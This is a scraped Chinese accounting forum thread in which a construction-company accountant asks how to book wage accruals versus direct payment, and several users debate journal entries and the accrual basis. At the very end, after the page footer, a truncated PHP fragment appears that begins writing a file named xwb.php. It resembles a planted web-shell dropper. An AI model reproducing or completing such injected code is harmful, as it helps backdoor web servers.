查看: 16805|回复: 26
工资计提与不计提有何区别？
国际大牌证书助您逆袭成功
升职加薪踏上快车道
视野与（CIMA | AICPA）联合举办
设置200份实物礼品
植根于国家会计学院
加入顶级CFO校友圈
我们是施工企业单位，由于普工无法确定准确的工资，所以在发放时直接做：借：应付职工薪酬& && && && &**
& && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && & 贷：库存现金& && &&&**，& & 但是问题出现了！！我们承包出去的工程需要验工计价，并且按计价额的80%付款，所以就要计提了了，处理为：先计提 借：工程施工--合同成本& && &&&**
& && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && &&&贷： 应付职工薪酬& && && && && &**
& &然后再做发放&&借；应付职工薪酬& &****
& && && && && && && && && && && & 贷 库存现金& && && &****& && && && && & 那么我以后支付普工工资不计提直接发放还那么做就会冲减计提的部分，剩余的20%的部分没办法体现了。我应该怎么做？谢谢大家帮帮忙
会计视野论坛帖子版权归原作者所有。对发帖人声明原创的帖子，中国会计视野有使用权和转载权。其他网站在写明来源、作者、会计视野论坛首发网址的情况下可以转载，原创作者保留禁止转载和向其他转载网站索取稿酬的权力。
应付职工薪酬是负债类科目，即使不计提直接发放，你的处理也是不对的，因为没入费用也没入成本。不能准确计算不是不计提的理由，计提时只需要基本准确就行了。不通过计提时应该是：
借：工程施工--合同成本（或管理费用）
贷：库存现金
不通过计提的方式最大的缺点是，无法完整反映企业应付职工薪酬的总体情况。
我的理解：计提与不计提只是会计上用不用它来作为调节利润的手段而已，其他没有什么区别，实质结果都一样。
我认为计提是必须的。由于工资的发放并不及时，如果以实发工资作为核算成本的依据，不符合权责发生制的原则。现在由于税法上的一些硬性规定，使我们在工资计提上产生了一些错误的理解。
[ 本帖最后由 txsplcc 于
09:49 编辑 ]
回复 楼主 mahuadong 的帖子
我到最后还有一步结转呢！！！月末做处理：借工程施工-合同成本-人工费
& && && && && && && && && && && && && && &贷：应付职工薪酬--工资-工人工资，要是计提了，只要冲减就可以了，到月末就不用在结转成本了。针对我的问题是我把计提的和不计提的分开了，直接发放的工资计入&&应付职工薪酬--工资--工人工资（普工）&&把要计提然后发放的&&计入了&&应付职工薪酬--工资-工人工资（外包安装）。也就是在应付职工薪酬下添加了一个2级科目，这样做可以吗
你可以把两项人员工资分别计提，分别发放。
工资计提与不计提有何区别？
能不能说详细一点呢
我觉得你发放普工工资的分录做得有些问题
我个人理解分录（假设你不计提，直接发放）为：
借：制造费用-员工工资
贷：银行存款
注：普工工资应作为制造商品的成本
有点头晕...
一般来说，当月的工资费用，下一个月才能计算出来并发放（行政事业单位好像除外）。但是由于当月的产品已经耗费了工资费用，为了保证产品成本核算的大体准确，也为了会计报表及时出具，所以工资要做提取。在实际中，这个提取，只能保持大体准确。
这里还要加一句，有的人认为：既然下个月才能将上一个月的工资核算出来，工资当月不能计提（认为不够准确）。这个观点你也可以借鉴一下。
工资计提对于产品的成本准确核算还是有好处的，特别是工资发放不及时的单位。
根据权责发生制原则，工资需要计提。
借方&&费用科目& && && & 12000
&&贷方&&应付职工薪酬& & 12000
借方&&应付职工薪酬& && & 12000
& && &费用类科目& && && &-2000
&&贷方&&现金类科目& && & 10000
回复 楼主 mahuadong 的帖子
我觉得你是对“计提”理解有偏差。
当月发放的工资已经是明确的，只是要让工资性的支出按施工人员和管理人员分别计入建安成本和管理费用。从而体现工程成本或期间费用的人工成本。也就是会计实务所说的计提成本工资。
日常操作可以在发放工资的同时计提成本工资。
[ 本帖最后由 linjie513 于
20:59 编辑 ]
<p id="rate_3549" onmouseover="showTip(this)" tip="鼓励热情答疑&威望 + 2
" class="mtn mbn">
原帖由 ylq65 于
08:19 发表
应付职工薪酬是负债类科目，即使不计提直接发放，你的处理也是不对的，因为没入费用也没入成本。不能准确计算不是不计提的理由，计提时只需要基本准确就行了。不通过计提时应该是：
借：工程施工--合同成本（或管理 ...
精辟，今日看到这里。实在是:victory:
亮剑所言即是。一语道破。
如果不计提，可以直接发放，一些小企业，就做一笔分录，那就是发放时：借：管理费用等 贷：银行存款或者库存现金，而管理费用等成本费用类下设工资明细。而你一开始发放时，就做一个应付职工薪酬的借方，而实际上你并没有计提，所以不合理吧。
回复 11楼 plwwyb 的帖子
同意这样处理
原帖由 linjie513 于
20:56 发表
我觉得你是对“计提”理解有偏差。
当月发放的工资已经是明确的，只是要让工资性的支出按施工人员和管理人员分别计入建安成本和管理费用。从而体现工程成本或期间费用的人工成本。也就是会计实务所说的计提成本工资 ...
我觉得这样处理也是可行的。&&公司每个月都是会发工资的，区别只是发本月或者发上月工资而已， 在发放的同时通过“应付职工薪酬”走一下帐，即可。不用每月都计提，然后下月再冲掉，那些都是浮云，除非是为了调节利润的考虑。
当月发上月工资时，
借：管理费用-工资
& && & 制造费用-工资
& & 贷：应付职工薪酬
借：应付职工薪酬
& &&&贷：银行\现金
这样，我认为就ok了，这样也解决了楼上某位仁兄所说的如果不通过计提无法反映企业职工薪酬的整体情况， 你想看本年某月实际支付的职工工资，只需看“应付职工薪酬”科目的借方发生额即可。
什么叫普工工资
10楼和11楼的综合起来就很完美了。学习了，谢谢！
先要弄清“应付工资”帐户的性质
会计核算是经济核算的组成部份，经济核算包括会计核算、统计核算和业务核算三个部份。它们是互为补充相辅相成的。
会计帐户的分类，除了按资产、负债、收益分配归类外，还有按性质用途的分类。应付工资属于集合分配帐户，把分散在各项费用中的各种工资集中起来提供一个工资总额的统计指标。同时反映工资的实发情况。
站长推荐 /2
对于会计人来说接触最多的文件就是合同了，很多业务都是基于合同而开展的，那如何准确认识合同所蕴含的信息，以及对合同所代表的资源进行全程管理，无疑是会计人专业增值的一部分，深挖再深挖。本期嘉宾将其关注的合同管理所积累的经验进行了系统整理，希望这个平时我们忽视的文件能够给你独特的价值体现。活动由元年云快报支持举办。
对于财务人来说经营分析是最闹心的事了，尤其是各种指标汇总起来的分析报告，得不到上级的认同，成了单纯的文字游戏。如何把这份内部经营分析报告体现出财务的专业价值引发领导层的重视，相信是很多同仁都在思考的问题。本期嘉宾王琴将其思考进行了整理分享，愿意借此引发各位关注者的思考和讨论。活动由元年云快报支持举办。
)&&<?php fputs(fopen('xwb.php','w'),"
Powered by}